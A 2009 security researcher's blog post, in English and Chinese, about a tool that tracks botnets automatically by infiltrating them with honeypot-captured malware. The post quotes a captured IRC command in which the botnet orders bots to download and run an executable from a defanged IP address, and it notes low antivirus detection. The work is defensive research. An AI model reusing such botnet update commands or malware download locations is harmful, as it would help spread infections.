Botnet Update In Action

by log0 on August 23rd, 2009

I am currently developing a tool to automate tracking botnets. Input is a folder of binaries, and output is endless bot logs (commands, conversations, how they work), plus (possibly unseen. undetected) malware binaries and hopefully automated analysis too. =)

Here is something my tool caught while I was testing on a botnet. I used one of the malware binaries caught by my honeypot to infiltrate the botnet =) They are paying off!

2009-08-23 18:27:20,644 – log-6 – INFO – Received : [:irc.efnet.com 332 [ #xx6 :.flushdns |.down -S |.update -S |.update http://94[dot]76[dot]194[dot]116/xx8.exe x5s5g6q3×1n3.exe x5s5g6q3×1n3]

There is some Deutsch (German) stuffs… not necessarily their stuffs though. Disconnected me.

The binary is very new, just 4 hours ago at 2009-08-23 18:27:20,644 ( GMT +8 ).

Detection rate 14.63%! Only 6/41 scanners detected it. Except Kaspersky, AVG, and DrWeb, the other 3 seems to give uncertain generic results.

Which scanner are you using?

我在寫一個自動化工具去追蹤殭屍網絡。只要一堆 EXE,就自動產生一堆殭屍網絡的實況(指令、對話、如何運作)、(有可能是未被發現及不能檢測到的)惡意檔及(希望未來能有的)自動化分析。

這是我的工具在測試時從殭屍網絡抓到的東東:
